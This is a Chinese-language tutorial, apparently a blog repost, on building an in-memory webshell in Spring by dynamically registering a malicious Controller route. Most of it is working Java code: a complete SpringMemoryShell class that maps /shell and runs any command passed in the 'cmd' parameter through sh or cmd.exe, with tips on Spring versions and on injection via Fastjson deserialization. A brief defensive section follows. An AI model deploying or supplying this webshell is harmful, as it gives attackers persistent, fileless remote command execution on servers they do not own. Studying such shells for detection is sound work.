实战分享!spring内存马(Controller)构造
字数 1618 2025-08-10 19:49:05

Spring内存马(Controller)构造实战教学

一、Spring运行机制分析

  1. 请求处理流程

    • 调用栈顺序:run → process → service → invoke → dofilter → service → spring处理 → doDispatch
    • DispatcherServlet类的doDispatch方法是处理web请求的核心
    • 使用handle()处理request和response,并通过mappedHandler.getHandler()获取Handler
  2. HandlerMapping机制

    • handlerMappings(处理器映射)遍历处理请求
    • AbstractHandlerMethodMapping提供MappingRegistry添加路由
    • mappingRegistry存储路由信息,使用读写锁控制并发访问
  3. 路由匹配过程

    • 通过lookupHandlerMethod()匹配请求
    • 如果directPathMatches不为null,调用addMatchingMappings()添加路由
    • 每个RequestMappingInfo与request匹配,匹配成功则创建Match对象

二、内存马构造原理

  1. 核心思路

    • mappingRegistry动态添加恶意路由
    • 使用RequestMappingHandlerMappingregisterMapping方法注册
    • 需要获取WebApplicationContext对象
  2. 关键类

    • AbstractHandlerMethodMapping:抽象类,提供路由注册基础
    • RequestMappingHandlerMapping:实现类,可实例化进行注册
    • RequestMappingInfo:定义路由信息
    • PatternsRequestCondition:定义URL路径匹配
    • RequestMethodsRequestCondition:定义HTTP方法

三、内存马实现步骤

1. 获取WebApplicationContext

// 方法1(推荐)
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 方法2
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
    ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

2. 构造恶意Controller

// 获取RequestMappingHandlerMapping实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 获取目标方法
Method method = Evil.class.getMethod("test");

// 构造路由条件
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

// 创建RequestMappingInfo
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

// 创建处理对象
Evil injectToController = new Evil("constructorParam");

// 注册恶意controller
mappingHandlerMapping.registerMapping(info, injectToController, method);

3. 命令执行实现

public void test() throws IOException {
    HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
    HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
    
    String cmd = request.getParameter("cmd");
    if(cmd != null) {
        boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\A");
        String output = s.hasNext() ? s.next() : "";
        
        response.getWriter().write(output);
        response.getWriter().flush();
        response.getWriter().close();
    }
}

四、完整内存马示例

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringMemoryShell {
    
    public SpringMemoryShell() throws Exception {
        // 获取WebApplicationContext
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 获取目标方法
        Method method = SpringMemoryShell.class.getMethod("exec");
        
        // 构造路由条件
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        
        // 创建RequestMappingInfo
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        
        // 注册恶意controller
        mappingHandlerMapping.registerMapping(info, this, method);
    }
    
    // 空构造方法用于实例化
    private SpringMemoryShell(String param) {}
    
    public void exec() throws IOException {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
        
        String cmd = request.getParameter("cmd");
        if(cmd != null) {
            boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            
            response.getWriter().write(output);
            response.getWriter().flush();
            response.getWriter().close();
        }
    }
}

五、注意事项与问题解决

  1. 版本兼容性问题

    • Spring Boot版本过高可能导致注入失败
    • 推荐使用Spring Boot 2.4.5及以下版本
  2. Context获取问题

    • Root Context和Child Context的区别:
      • Root Context无法访问Child Context中定义的bean
      • Child Context可以访问Root Context中定义的bean
    • 在DispatcherServlet中,RequestMappingHandlerMapping实例bean通常存在于Child WebApplicationContext中
  3. 常见错误解决

    • 获取WebApplicationContext失败:
      // 尝试多种获取方式
      WebApplicationContext context1 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
          .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
      
      WebApplicationContext context2 = RequestContextUtils.getWebApplicationContext(
          ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
      
    • 命令执行乱码问题:
      // 针对不同系统设置不同编码
      if (System.getProperty("os.name").toLowerCase().contains("win")) {
          builder = new ProcessBuilder(new String[]{"cmd.exe","/c",code});
          bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("GBK")));
      } else {
          builder = new ProcessBuilder(new String[]{"/bin/sh","-c",code});
          bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("UTF-8")));
      }
      

六、实战利用场景

  1. Fastjson漏洞利用

    • 配合Fastjson 1.2.24等存在反序列化漏洞的版本
    • 构造恶意类实现内存马注入
  2. 内存马特点

    • 无文件落地
    • 直接注入到内存中
    • 重启后失效
  3. 利用流程

    • 首先访问注入端点(如/inject)
    • 然后访问注册的恶意路由(如/shell?cmd=whoami)

七、防御建议

  1. 检测与防护

    • 监控动态注册的Controller
    • 检查不寻常的路由映射
    • 使用安全防护设备检测异常行为
  2. 最佳实践

    • 及时升级Spring框架版本
    • 限制反序列化操作
    • 实施最小权限原则
  3. 应急响应

    • 重启应用可清除内存马
    • 检查应用是否有未授权访问漏洞
    • 审计代码是否存在反序列化风险点

通过以上详细分析,我们可以深入理解Spring内存马的构造原理和实现方式,同时也能更好地防御此类攻击。

Spring内存马(Controller)构造实战教学 一、Spring运行机制分析 请求处理流程 : 调用栈顺序:run → process → service → invoke → dofilter → service → spring处理 → doDispatch DispatcherServlet 类的 doDispatch 方法是处理web请求的核心 使用 handle() 处理request和response,并通过 mappedHandler.getHandler() 获取Handler HandlerMapping机制 : handlerMappings (处理器映射)遍历处理请求 AbstractHandlerMethodMapping 提供 MappingRegistry 添加路由 mappingRegistry 存储路由信息,使用读写锁控制并发访问 路由匹配过程 : 通过 lookupHandlerMethod() 匹配请求 如果 directPathMatches 不为null,调用 addMatchingMappings() 添加路由 每个 RequestMappingInfo 与request匹配,匹配成功则创建Match对象 二、内存马构造原理 核心思路 : 向 mappingRegistry 动态添加恶意路由 使用 RequestMappingHandlerMapping 的 registerMapping 方法注册 需要获取 WebApplicationContext 对象 关键类 : AbstractHandlerMethodMapping :抽象类,提供路由注册基础 RequestMappingHandlerMapping :实现类,可实例化进行注册 RequestMappingInfo :定义路由信息 PatternsRequestCondition :定义URL路径匹配 RequestMethodsRequestCondition :定义HTTP方法 三、内存马实现步骤 1. 获取WebApplicationContext 2. 构造恶意Controller 3. 命令执行实现 四、完整内存马示例 五、注意事项与问题解决 版本兼容性问题 : Spring Boot版本过高可能导致注入失败 推荐使用Spring Boot 2.4.5及以下版本 Context获取问题 : Root Context和Child Context的区别: Root Context无法访问Child Context中定义的bean Child Context可以访问Root Context中定义的bean 在DispatcherServlet中,RequestMappingHandlerMapping实例bean通常存在于Child WebApplicationContext中 常见错误解决 : 获取WebApplicationContext失败: 命令执行乱码问题: 六、实战利用场景 Fastjson漏洞利用 : 配合Fastjson 1.2.24等存在反序列化漏洞的版本 构造恶意类实现内存马注入 内存马特点 : 无文件落地 直接注入到内存中 重启后失效 利用流程 : 首先访问注入端点(如/inject) 然后访问注册的恶意路由(如/shell?cmd=whoami) 七、防御建议 检测与防护 : 监控动态注册的Controller 检查不寻常的路由映射 使用安全防护设备检测异常行为 最佳实践 : 及时升级Spring框架版本 限制反序列化操作 实施最小权限原则 应急响应 : 重启应用可清除内存马 检查应用是否有未授权访问漏洞 审计代码是否存在反序列化风险点 通过以上详细分析,我们可以深入理解Spring内存马的构造原理和实现方式,同时也能更好地防御此类攻击。